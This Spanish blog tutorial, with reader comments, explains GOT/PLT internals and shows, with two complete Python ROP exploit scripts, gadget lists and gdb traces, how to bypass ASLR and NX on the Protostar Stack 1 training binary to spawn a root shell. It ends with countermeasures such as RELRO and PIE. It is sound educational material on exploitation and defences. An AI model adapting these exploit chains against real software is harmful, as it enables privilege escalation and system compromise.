Después de la entrada anterior, en la que vimos cómo evadir ASLR y NX en la explotación de un Stack Overflow sobre un binario enlazado estáticamente, vamos a tratar de explotar otro. Esta vez lo haremos sobre un binario enlazado dinámicamente, sin instrucciones de ayuda en el código como teníamos en el anterior, ayudándonos de ROP para calcular la dirección de cualquier función de la libc a partir de la la GOT de una función usada en el programa. Las técnicas a tratar se denominan: GOT dereferencing y GOT overwriting, y se encuentran descritas en el paper "Surgically returning to randomized lib(c)".
Antes de meternos en vereda, vamos a ver algunas cosillas que son necesarias para entender el resto.
GOT (Global Offset Table) y PLT (Procedure Linkage Table)
Cuando un ejecutable es cargado en memoria, el linker transfiere a memoria todas bibliotecas solicitadas y realiza la reubicación. El ejecutable dispone de dos secciones que se utilizan con el unico propósito de vincular el ejecutable con las bibliotecas compartidas, que son: la Global Offset Table (GOT) y la Procedure Linkage Table (PLT). La primera es una matriz que contiene la dirección de todas las funciones de bibliotecas usadas en el programa. Esta última se corresponde con una matriz de salto hacia las direcciones de las funciones almacenadas en la GOT.
Como se puede apreciar en Figura 1, el programa para invocar a la función strcpy de la libc, realiza la llamada en la instrucción 0x8048465, pero en lugar de hacerla de forma normal, pasa el control a la PLT (0x8048330). La PLT para llegar hasta el código de la función dentro de la libc, realiza un salto indirecto (jmp *0x8049724) pasando por la GOT (0x8049724), que es donde se encuentra la dirección absoluta de la función strcpy (0xf7ed2b70).
Esto no es del todo cierto, ya que la primera vez que es llamada una función, la GOT contiene de nuevo un puntero hacia la PLT, donde se llama al enlazador para encontrar la ubicación real de la función en cuestión (ver Figura 2). La segunda vez que la función es llamada, su entrada en la GOT ya contiene la ubicación real de la función.
Restricciones de diseño de la GOT y la PLT
Ya que la GOT y la PLT se utilizan directamente desde cualquier parte del programa, necesitan disponer de una dirección estática conocida en la memoria. Además, la GOT necesita tener permisos de escritura, ya que cuando se resuelve la dirección de una función, es escrita en su correspondiente entrada de la GOT.
¿Y para qué se puede aprovechar todo esto?
Como las direcciones de la sección GOT son estáticas (no afectadas por ASLR), y se dispone de permisos de escritura, se puede aprovechar para sobreescribir la dirección de una función utilizada en el programa (p.e, strcpy), por otra con peores intenciones (p.e, system), de forma que cuando se invoque a la entrada PLT de la función sobreescrita, el flujo del programa vaya hacia la otra.
Resolver direcciones de la libc
Perfecto, si se consigue sobreescribir el contenido de la GOT de una función por la dirección de otra función de la libc, es posible realizar cualquier llamada (incluido a las funciones no exportadas). Pero vaya, no es tan fácil como pinta, ya que la libc es afectada por ASLR y sus direcciones varían en cada ejecución. Pero no del todo ;-)
Aunque sus direcciones cambien en cada ejecución, el enlazador siempre rellena la GOT con las direcciones actualizadas para que sean coherentes con la dirección base de la biblioteca, por lo que el offset entre dos funciones de la biblioteca es siempre constante. Es decir, que a partir de una dirección absoluta dada, obtenida de la GOT de cualquier función utilizada en el programa, es posible calcular la dirección de cualquier otra a partir de los offsets.
offset = system() - strcpy() system() = strcpy() + offset
Para poder llevar a cabo esto, existen dos técnicas: GOT Dereferencing y GOT Overwriting, que sirven básicamente para re-calcular funciones de la libc a partir de la GOT de una función usada en el programa, empleando ROP.
- GOT dereferencing: Consiste en combinar ROP gadgets para leer la dirección absoluta de cualquier función usada en el programa (p.e, strcpy) a partir su entrada en la GOT, utilizar dicha dirección para calcular la de otra función de la biblioteca (p.e, system), y realizar un salto hacia ella.
- GOT overwriting: Es similar a la anterior, pero aquí en vez de leer la dirección de una función y calcular la de otra, se sobreescribe la entrada GOT de una de ellas (p.e, strcpy) con la dirección tiene más el offset de la función a usar (p.e, system). Por último, se invoca a la PLT de la función sobreescrita haciendo un ret2plt.
Dicho todo esto... ¡AL LÍO!
Programa vulnerable
Para hacer pruebas con estas técnicas quería algo muy básico por el tema de no abusar con los gadgets del binario, así que he escogido el nivel Stack 1 de la máquina virtual Protostar de Exploit-Exercises, que se trata de un simple Stack Overflow de libro en el que se demuestra cómo se establecen las variables en memoria, pero que para nuestro fin nos viene al pelo.
DESCARGAR
MD5: df2ce10a6ca6b19337c4f44b52789c7b
Protecciones
$ bash /tools/exploiting/checksec.sh --file stack1 RELRO STACK CANARY NX PIE FILE No RELRO No canary found NX enabled No PIE stack1 # FULL ASLR $ /sbin/sysctl kernel.randomize_va_space kernel.randomize_va_space = 2 $ ldd stack1 | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7589000) $ ldd stack1 | grep libc libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7618000)
- RELRO: GOT modificable.
- NX: Stack no ejecutable.
- ASLR: Activado.
Perfecto, ¡a darle caña!
# Generamos una cadena de caracteres aleatorios $ /pentest/exploits/msf4/tools/pattern_create.rb 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A # Pasamos la cadena de argumento (gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Starting program: /home/dani/stack1/stack1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A Try again, you got 0x63413163 Program received signal SIGSEGV, Segmentation fault. 0x37634136 in ?? () (gdb) # Comprobamos dónde se sobreescribe la dirección de retorno $ /pentest/exploits/msf4/tools/pattern_offset.rb 0x37634136 [*] Exact match at offset 80
Ahora que tenemos el control del flujo del programa, toca buscar ROP gadgets.
GOT dereferencing
Para llevar a cabo esta técnica se necesitan gadgets de varios tipos: de carga, de adición y transferencia de control indirecto.
ROPeMe> generate stack1 5 Generating gadgets for stack1 with backward depth=5 It may take few minutes depends on the depth and file size... Processing code block 1/1 Generated 96 gadgets Dumping asm gadgets to file: stack1.ggt ... OK ROPeMe>
ROPeMe sólo nos ha encontrado 96 gadgets debido a que el binario es muy reducido (23,2 kB) y está enlazado de forma dinámica. De todas formas, vamos a intentar apañarnos.
ROPeMe> search pop ? pop % Searching for ROP gadget: pop ? pop % with constraints: [] ... 0x8048432L: pop ebx ; pop ebp ;; ... 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;; ... ROPeMe> search xchg % Searching for ROP gadget: xchg % with constraints: [] 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;; ... ROPeMe> search add eax % Searching for ROP gadget: add eax % with constraints: [] ... 0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;; ROPeMe> search call eax % Searching for ROP gadget: call eax % with constraints: [] 0x804845fL: call eax ; leave ;;
Gadgets a utilizar
- 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
- 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
- 0x8048432L: pop ebx ; pop ebp ;;
- 0x804856eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;;
- 0x804845fL: call eax ; leave ;;
El gadget (1) lo usaremos para dar valor a los registros EBX y EDI que serán usados por el (2). Con el (2) haremos un intercambio de los valores de EAX y EDI, por lo que EAX obtendrá el valor de EDI (que controlamos). Luego, con el (2) sumaremos el valor de EAX al almacenado en [ebx+0x5d5b04c4]. Como también tenemos el control de EBX, utilizaremos este gadget para sumar el valor de EAX en donde queramos, previamente restando 0x5d5b04c4 a la dirección donde se va a escribir. Con el (3) restableceremos de nuevo el valor de EBX. Con el (4) leeremos un valor de [ebx-0xb8a0008] y se lo sumaremos a EAX. Y por ultimo, con el (5) realizaremos un salto a la dirección que apunta EAX.
¡Menudo jaleo!
La idea es utilizar el gadget (2) para escribir el offset entre system y strcpy en algún sitio con permisos de escritura, de forma que el registro EAX se quede con dicho offset. Luego, con el (4) sumar al offset que tenemos en EAX la dirección de strcpy obtenida de la GOT, teniendo en EAX un puntero a system. Por ultimo, con el (5), llamar a la función calculada.
Para obtener la dirección de las entradas de la GOT del programa, podemos utilizar objdump.
$ objdump -R ./stack1 ./stack1: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080496f8 R_386_GLOB_DAT __gmon_start__ 08049708 R_386_JUMP_SLOT __gmon_start__ 0804970c R_386_JUMP_SLOT __libc_start_main 08049710 R_386_JUMP_SLOT strcpy 08049714 R_386_JUMP_SLOT printf 08049718 R_386_JUMP_SLOT errx 0804971c R_386_JUMP_SLOT puts
Con esto ya sabemos que la dirección absoluta de la función strcpy será almacenada en 0x08049710. Ahora tenemos que calcular el offset entre system y strcpy, que podemos obtenerlo mismamente desde el fichero de la biblioteca o con GDB.
$ objdump -T /lib/i386-linux-gnu/i686/cmov/libc.so.6 | egrep 'strcpy$|system$' 00078b70 g DF .text 00000023 GLIBC_2.0 strcpy 0003bf10 g DF .text 0000007d GLIBC_PRIVATE __libc_system 0003bf10 w DF .text 0000007d GLIBC_2.0 system
0x0003bf10(system) - 0x00078b70(strcpy) = 0xfffc33a0 (offset)
(gdb) p system $1 = {<text variable, no debug info>} 0xf7e95f10 <system> (gdb) p strcpy $2 = {<text variable, no debug info>} 0xf7ed2b70 <strcpy> # OFFSET (gdb) p /x 0xf7e95f10-0xf7ed2b70 $4 = 0xfffc33a0 # STRCPY + OFFSET = SYSTEM (gdb) x/2i strcpy+0xfffc33a0 0xf760ff10 <system>: sub esp,0xc 0xf760ff13 <system+3>: mov DWORD PTR [esp+0x4],esi
Obtenemos el mismo resultado ;-)
Para el acceso del gadget (2) necesitamos tener la dirección de algún lugar estático con permisos de escritura (W), como por ejemplo la sección .data.
$ readelf -S stack1 | grep "\.data" [24] .data PROGBITS 08049720 000720 000008 00 WA 0 0 4
Teniendo todos estos datos en nuestro poder, podemos comenzar la explotación.
- strcpy@GOT: 0x08049710
- Offset system-strcpy: 0xfffc33a0
- data: 0x08049720
Con el gadget (1) colocaremos en EBX la dirección de la sección data, y en EDI el offset entre system y strcpy. Como el gadget (2) hará un intercambio entre EDI y EAX, y después sumará 8 a EAX, tendremos que tener en cuenta esa suma, restando 8 al offset. Luego, como se realizará la adición de EAX al valor apuntado en [ebx+0x5d5b04c4], tendremos que restar a la dirección de data el valor 0x5d5b04c4, para que el acceso sea correcto y no provoque una violación de segmento. Dicho esto:
# offset (gdb) p/x 0xfffc33a0-8 $1 = 0xfffc3398 # data (gdb) p/x 0x08049720-0x5d5b04c4 $2 = 0xaaa9925c (gdb)
Con el gadget (3) volveremos a dar valor a EBX para el acceso del gadget (4), que en este caso será la dirección de la GOT de strcpy. Como el (4) realizará la adición en EAX del valor apuntado en [ebx-0xb8a0008], tendremos que sumar a la dirección de la GOT de strcpy el valor 0xb8a0008, quedando:
# strcpy@GOT (gdb) p/x 0x08049710+0xb8a0008 $1 = 0x138e9718
Así, cuando la instrucción "add eax [ebx-0xb8a0008]" termine de ejecutarse, el registro EAX tendrá la dirección absoluta de la función strcpy+offset, apuntando a la dirección de system. De esta manera habremos calculado la dirección de system de forma dinámica, saltándonos el ASLR ;-D
Después, en el gadget (4) nos encontramos con un pequeño problema, y es que la instrucción "add esp 0x4" reduce la pila 4 bytes, por lo que perdemos el siguiente dato a "popear". Esto lo solucionamos fácilmente añadiendo otros 4 bytes de relleno.
Al llegar al gadget (5) se ejecutará el "call eax", que hará la llamada a la dirección de system. En ese momento, la cima de la pila (ESP) tiene que tener la dirección de una cadena que sirva como parámetro a system. Para ello usaremos la cadena "GNU", que se encuentra en la dirección 0x8048154 de la sección .note.gnu.build-id.
Teniendo todo esto claro, solo nos queda hacer un exploit y depurar :-)
#!/usr/bin/python # # Exploit GOT Dereferencing (ROP) # ASLR/NX Bypass # # @danigargu # http://danigargu.blogspot.com.es # from struct import pack junk = "A" * 64 + "dcba" + "A" * 12 # 80 bytes ## ROP gadgets ## gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;; gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;; gadget3 = pack('<I', 0x8048432) # (3) pop ebx ; pop ebp ;; gadget4 = pack('<I', 0x804856e) # (4) add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx ; pop ebp ;; gadget5 = pack('<I', 0x804845f) # (5) call eax ; leave ;; padding = "AAAA" # 4 bytes offset = 0xfffc33a0-8 # offset (system-strcpy) - 8 for the gadget (2) data = (0x08049720-0x5d5b04c4) & 0xFFFFFFFF # .data - 0x5d5b04c4 for the gadget (2) strcpy_got = (0x08049710+0xb8a0008) # strcpy@GOT + 0xb8a0008 for the gadget (4) gnu_string = 0x8048154 # "GNU\x00" from note.gnu.build-id ## PAYLOAD ## rop = gadget1 # pop ebx ; pop esi ; pop edi ; pop ebp ;; rop += pack('<I', data) # EBX = .data - 0x5d5b04c4 rop += padding # ESI = padding rop += pack('<I', offset) # EDI = offset - 8 rop += padding # EBP = padding rop += gadget2 # EAX = OFFSET system-strcpy rop += gadget3 # pop ebx ; pop ebp ;; rop += pack('<I', strcpy_got) # EBX = strcpy@GOT + 0xb8a0008 rop += padding # EBP = padding rop += gadget4 # EAX = (OFFSET system-strcpy) + strcpy = SYSTEM ;D rop += padding # padding for "add esp 0x4" rop += padding # EBX = padding rop += padding # EBP = padding rop += gadget5 # call eax ; leave ;; rop += pack('<I', gnu_string) # "GNU" string payload = junk + rop print payload
A depurar!
# Breakpoint en el RET de main (gdb) b *0x080484d6 Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23. # Mostrar siguiente instrucción a ejecutar (gdb) set disassemble-next-line on # Ejecutamos (gdb) r "$(python exploit_dereferencing.py)" Starting program: /home/dani/stack1/stack1 "$(python exploit_dereferencing.py)" you have correctly got the variable to the right value Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23 0x080484d5 <main+113>: c9 leave => 0x080484d6 <main+114>: c3 ret # Siguiente instrucción a ejecutar (gdb) x/x $esp 0xffb90b2c: 0x08048545 --> Dirección gadget1 (gdb) stepi Cannot access memory at address 0x41414145 #### Comienzo gadget (1) #### (gdb) x/i $eip => 0x8048545 <__libc_csu_init+85>: pop ebx ... (gdb) stepi 0x08048549 in __libc_csu_init () => 0x08048549 <__libc_csu_init+89>: c3 ret # Registros importantes tras acabar el gadget (1) (gdb) i r ebx edi ebx 0xaaa9925c -1431727524 --> data - 0x5d5b04c4 edi 0xfffc3398 -248936 --> offset system-strcpy-8 (gdb) (gdb) stepi Cannot access memory at address 0x41414145 #### Comienzo gadget (2) #### (gdb) x/i $eip => 0x804842b <__do_global_dtors_aux+75>: xchg %eax,%edi (gdb) stepi 0x0804842c in __do_global_dtors_aux () => 0x0804842c <__do_global_dtors_aux+76>: 04 08 add al,0x8 (gdb) stepi 0x0804842e in __do_global_dtors_aux () => 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add DWORD PTR [ebx+0x5d5b04c4],eax (gdb) i r eax eax 0xfffc33a0 -248928 --> offset system-strcpy (gdb) ... #### Comienzo gadget (3) #### (gdb) x/i $eip => 0x8048432 <__do_global_dtors_aux+82>: pop ebx (gdb) stepi 0x08048433 in __do_global_dtors_aux () => 0x08048433 <__do_global_dtors_aux+83>: 5d pop ebp (gdb) i r ebx ebx 0x138e9718 328111896 --> strcpy@GOT (0x8049710) + 0xb8a0008 (gdb) #### Comienzo gadget (4) #### (gdb) x/i $eip => 0x804856e <__do_global_ctors_aux+30>: add eax,DWORD PTR [ebx-0xb8a0008] # VALOR strcpy@GOT (gdb) x/x 0x08049710 0x8049710 <strcpy@got.plt>: 0xf763db70 -> Dirección strcpy (gdb) stepi 0x08048574 in __do_global_ctors_aux () => 0x08048574 <__do_global_ctors_aux+36>: 83 c4 04 add esp,0x4 (gdb) i r eax eax 0xf7600f10 -144699632 --> EAX += 0xf763db70 (strcpy) = SYSTEM (gdb) x/i 0xf7600f10 0xf7600f10 <system>: sub esp,0xc ... #### Comienzo gadget (5) #### (gdb) x/i $eip => 0x804845f <frame_dummy+31>: call eax (gdb) x/x $esp 0xffa95dd4: 0x08048154 (gdb) x/s 0x08048154 0x8048154: "GNU" # FINAL (gdb) c Continuing. sh: 1: GNU: not found
Parece que todo está correcto, pero al terminar nos devuelve un "sh: 1: GNU: not found" debido a que no existe ningún binario en nuestro sistema llamado GNU. Para resolver este problema tan solo tenemos que crear un enlace simbólico a /bin/sh con nombre GNU y añadir el directorio actual a la variable de entorno PATH.
$ ln -s /bin/sh GNU $ ls -l GNU lrwxrwxrwx 1 dani dani 7 ene 30 21:38 GNU -> /bin/sh $ export PATH=.:$PATH $ ./stack1 "$(python exploit_dereferencing.py)" you have correctly got the variable to the right value # id uid=1000(dani) gid=1000(dani) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(dani) # whoami root #
¡¡FUNCIONA!! Después de todo este rollo hemos conseguido explotarlo ;-D
GOT overwriting
En este caso, como solo tenemos que sobreescribir la dirección de la GOT de una función utilizada en el programa, añadiéndola el offset entre otra función, con estos 2 gadgets usados anteriormente nos es suficiente:
- 0x8048545L: pop ebx ; pop esi ; pop edi ; pop ebp ;;
- 0x804842bL: xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;;
El gadget (1) colocará en EBX la dirección de la GOT de strcpy, y en EDI el offset entre system y strcpy. El (2) sumará el offset al contenido de la GOT de strcpy (dirección absoluta de strcpy), haciendo que apunte a system. Luego tan solo tendremos que llamar a la PLT de strcpy para invocar system, haciendo un ret2plt.
Exploit:
#!/usr/bin/python # # Exploit GOT Overwriting (ROP) # ASLR/NX Bypass # # @danigargu # http://danigargu.blogspot.com.es # from struct import pack junk = "A" * 64 + "dcba" + "A" * 12 # 80 bytes ## ROP gadgets ## gadget1 = pack('<I', 0x8048545) # (1) pop ebx ; pop esi ; pop edi ; pop ebp ;; gadget2 = pack('<I', 0x804842b) # (2) xchg edi eax ; add al 0x8 ; add [ebx+0x5d5b04c4] eax ;; padding = "AAAA" # 4 bytes offset = 0xfffc33a0-8 # offset (system-strcpy) - 8 for the gadget (2) strcpy_got = (0x08049710-0x5d5b04c4) & 0xFFFFFFFF # strcpy@GOT - 0x5d5b04c4 for the gadget (2) strcpy_plt = 0x08048368 # strcpy@PLT gnu_string = 0x8048154 # "GNU\x00" from note.gnu.build-id ## PAYLOAD ## rop = gadget1 # pop ebx ; pop esi ; pop edi ; pop ebp ;; rop += pack('<I', strcpy_got) # EBX = strcpy@GOT - 0x5d5b04c4 rop += padding # ESI = padding rop += pack('<I', offset) # EDI = offset - 8 rop += padding # EBP = padding rop += gadget2 # EAX = OFFSET system-strcpy # [ebx+0x5d5b04c4] (strcpy@GOT) + EAX = system rop += pack('<I', strcpy_plt) # strcpy@PLT rop += padding # return address rop += pack('<I', gnu_string) # "GNU" string payload = junk + rop print payload
Depuración:
# Breakpoint en el RET de main (gdb) b *0x080484d6 Breakpoint 1 at 0x80484d6: file stack1/stack1.c, line 23. # Ejecutamos (gdb) r "$(python exploit_overwriting.py)" Starting program: /home/dani/stack1/stack1 "$(python exploit_overwriting.py)" you have correctly got the variable to the right value Breakpoint 1, 0x080484d6 in main at stack1/stack1.c:23 0x080484d5 <main+113>: c9 leave => 0x080484d6 <main+114>: c3 ret # Siguiente instrucción a ejecutar (gdb) x/x $esp 0xff87ad8c: 0x08048545 --> Dirección gadget1 (gdb) stepi Cannot access memory at address 0x41414145 #### Comienzo gadget (1) #### (gdb) x/i $eip => 0x8048545 <__libc_csu_init+85>: pop ebx ... (gdb) stepi 0x08048549 in __libc_csu_init () => 0x08048549 <__libc_csu_init+89>: c3 ret # Registros importantes tras acabar el gadget (1) (gdb) i r ebx edi ebx 0xaaa9924c -1431727540 --> strcpy@GOT - 0x5d5b04c4 edi 0xfffc3398 -248936 --> offset system-strcpy-8 (gdb) (gdb) stepi Cannot access memory at address 0x41414145 #### Comienzo gadget (2) #### (gdb) x/i $eip => 0x804842b <__do_global_dtors_aux+75>: xchg edi,eax (gdb) stepi 0x0804842c in __do_global_dtors_aux () => 0x0804842c <__do_global_dtors_aux+76>: 04 08 add al,0x8 (gdb) stepi 0x0804842e in __do_global_dtors_aux () => 0x0804842e <__do_global_dtors_aux+78>: 01 83 c4 04 5b 5d add DWORD PTR [ebx+0x5d5b04c4],eax (gdb) i r eax eax 0xfffc33a0 -248928 --> offset system-strcpy # VALOR strcpy@GOT (gdb) x/x 0x08049710 0x8049710 <strcpy@got.plt>: 0xf76bcb70 --> Dirección strcpy (gdb) x/i 0xf76bcb70 0xf76bcb70 <strcpy>: push ebp (gdb) stepi 0x08048434 in __do_global_dtors_aux () => 0x08048434 <__do_global_dtors_aux+84>: c3 ret # VALOR strcpy@GOT (gdb) x/x 0x08049710 0x8049710 <strcpy@got.plt>: 0xf767ff10 --> Dirección system (gdb) x/i 0xf767ff10 0xf767ff10 <system>: sub esp,0xc (gdb) # Siguiente instrucción a ejecutar (gdb) x/x $esp 0xff867214: 0x08048368 --> strcpy@PLT (gdb) x/i 0x08048368 0x8048368 <strcpy@plt>: jmp DWORD PTR ds:0x8049710 (gdb) # FINAL (gdb) c Continuing. $ id uid=1000(dani) gid=1000(dani) grupos=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev) $
Contramedidas
Con estos ataques hemos conseguido evadir ASLR y NX, que suelen ser las técnicas de protección más adoptadas, pero todavía existen otras que pueden ser implementadas, y que hacen que la explotación sea mucho más compleja. PIE (Position-independent executables) y RELRO (RELocation Read-Only) son dos de ellas.
Cuando se utiliza PIE, los binarios son compilados de manera que puedan ser libremente localizables en todo el espacio de direcciones del programa. Así, con el apoyo de ASLR, se cree que los programas están mucho más protegidos contra los ataques que utilizan ROP, ya que no sólo las direcciones del código de las bibliotecas son aleatorias, sino también las direcciones de las instrucciones del propio programa. Sin embargo, PIE necesita recompilación y disminuye el rendimiento del programa, por ello, la mayoría de las modernas distribuciones GNU/Linux aún no lo implementan sus binarios.
Por otro lado, RELRO se utiliza para marcar la sección GOT con solo permisos de lectura, previniendo ataques que necesitan sobreescribir dicha sección, como el tratado anteriormente (GOT overwriting), aunque no el primero (GOT dereferencing).
Enlaces de interés
- Payload already inside: Data reuse for ROP exploits
- ROP Zombie
- RELRO - A (not so well known) Memory Corruption Mitigation Technique
- Too much PIE is bad for performance
- How Effective is ASLR on Linux Systems?
Despedida
Y esto ha sido todo. Si has llegado hasta aquí, espero que hayas disfrutado tanto como yo ;-)
Un saludo!
Magnifica entrada!!!! Se nota que la has trabajado de lo lindo.
ResponderEliminarEnhorabuena genio.
Gracias crack! ;D
EliminarMuy buen post, muy bien explicado con mucho detalle. Enhorabuena ;)
ResponderEliminarOh, y gracias por mencionar mi blog, ni me había dado cuenta :)
EliminarMe alegra que te guste!
EliminarDe nada hombre, el contenido de tu blog es excelente ;-)
Un saludo!
Hola DaniGargu , algunos manuales acerca de Ida 5.0 en español ? por casualidad tienes algunos recursos , los contenidos en tu blog son buenisimos ...
ResponderEliminarGracias Leonardo, en el WEB STORAGE de Ricardo Narvaja (CrackLatinoS) tienes un montón de documentación sobre IDA.
EliminarUn saludo!
Genial el blog, voy a volver a ponerme al día ya que con todo el ASLR PIE etc ya explotar no es tan trivial.
ResponderEliminar